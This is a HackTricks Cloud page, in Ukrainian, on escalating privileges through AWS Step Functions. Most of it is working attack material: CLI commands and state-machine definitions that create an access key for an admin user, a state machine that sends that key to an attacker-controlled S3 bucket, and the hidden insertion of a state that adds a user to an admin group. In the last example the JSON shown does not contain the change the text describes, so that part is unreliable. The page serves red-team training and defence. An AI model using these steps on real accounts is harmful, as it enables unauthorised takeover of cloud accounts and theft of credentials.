AWS - Step Functions Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Step Functions
For more information about this AWS service, check:
Ресурси завдань
Для виконання цих privilege escalation techniques потрібно використати певні ресурси AWS Step Functions, щоб здійснити необхідні дії privilege escalation.
Щоб перевірити всі можливі дії, ви можете зайти в свій обліковий запис AWS, вибрати дію, яку хочете використовувати, і подивитися параметри, які вона використовує, наприклад:

Або ви також можете перейти до документації AWS API і переглянути документацію для кожної дії:
states:TestState & iam:PassRole
Зловмисник із дозволами states:TestState та iam:PassRole може тестувати будь-який стан і передавати йому будь-яку роль IAM без створення або оновлення існуючої машини станів, що потенційно дозволяє несанкціонований доступ до інших сервісів AWS з правами цих ролей. У поєднанні ці дозволи можуть призвести до широкого спектра несанкціонованих дій — від маніпуляцій робочими процесами та зміни даних до витоків даних, маніпулювання ресурсами та privilege escalation.
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Наведені приклади показують, як протестувати стан, який створює ключ доступу для користувача admin, використовуючи ці дозволи та роль з широкими правами в середовищі AWS. Ця роль має мати приєднану політику з високими привілеями (наприклад arn:aws:iam::aws:policy/AdministratorAccess), що дозволяє стану виконувати дію iam:CreateAccessKey:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Команда виконана для здійснення privesc:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Потенційний вплив: Несанкціоноване виконання та маніпулювання робочими процесами і доступ до конфіденційних ресурсів, що може призвести до значних порушень безпеки.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Зловмисник, який має states:CreateStateMachine та iam:PassRole, зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших AWS сервісів з правами цієї ролі. На відміну від попередньої privesc technique (states:TestState & iam:PassRole), ця не виконується сама по собі — вам також потрібні дозволи states:StartExecution або states:StartSyncExecution (states:StartSyncExecution не доступний для стандартних робочих процесів, лише для express state machines), щоб запустити виконання машини станів.
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Наведені приклади показують, як створити state machine, яка створює access key для користувача admin та ексфільтрує цей access key у S3 bucket, що контролюється атакуючим, використовуючи ці дозволи та роль з широкими привілеями у AWS середовищі. Така роль повинна мати прикріплену політику з високими привілеями (наприклад arn:aws:iam::aws:policy/AdministratorAccess), що дозволяє state machine виконувати дії iam:CreateAccessKey та s3:putObject.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Команда виконана для створення state machine:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Команда, виконана для запуску виконання раніше створеної машини станів:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
Warning
S3 bucket, контрольований зловмисником, повинен мати дозволи на прийом дії s3:PutObject від облікового запису жертви.
Потенційний вплив: Несанкціоноване виконання та модифікація робочих процесів і доступ до конфіденційних ресурсів, що може призвести до серйозних порушень безпеки.
states:UpdateStateMachine & (не завжди потрібний) iam:PassRole
Зловмисник з дозволом states:UpdateStateMachine зможе змінити визначення state machine, додавши додаткові приховані стани, які можуть призвести до privilege escalation. Таким чином, коли легітимний користувач запустить виконання state machine, цей новий шкідливий прихований стан буде виконано і privilege escalation відбудеться успішно.
Залежно від того, наскільки широкі дозволи має IAM Role, пов’язана зі state machine, зловмисник опиниться в одній з двох ситуацій:
- IAM Role з широкими дозволами: Якщо IAM Role, пов’язана зі state machine, вже має широкі дозволи (наприклад, має прикріплену політику
arn:aws:iam::aws:policy/AdministratorAccess), тоді дозвілiam:PassRoleне буде потрібен для privilege escalation, оскільки оновлення визначення state machine вже достатнє. - Обмежена IAM Role: На відміну від попереднього випадку, тут зловмиснику також буде потрібен дозвіл
iam:PassRole, оскільки необхідно додатково асоціювати IAM Role з широкими дозволами до state machine, окрім зміни визначення state machine.
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Наведені приклади показують, як оновити легітимний state machine, який просто викликає HelloWorld Lambda function, щоб додати додатковий стан, який додає користувача unprivilegedUser до administrator IAM Group. Таким чином, коли легітимний користувач запускає виконання оновленого state machine, цей новий прихований шкідливий стан буде виконано і підвищення привілеїв буде успішним.
Warning
Якщо до state machine не асоційовано IAM Role з широкими правами, також буде потрібен дозвіл
iam:PassRoleдля оновлення IAM Role та асоціації такої ролі (наприклад, однієї з приєднаною політикоюarn:aws:iam::aws:policy/AdministratorAccess).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Команда виконана для оновлення легітимної машини станів:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Potential Impact: Несанкціоноване виконання та маніпулювання робочими процесами та доступ до чутливих ресурсів, що може призвести до серйозних порушень безпеки.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

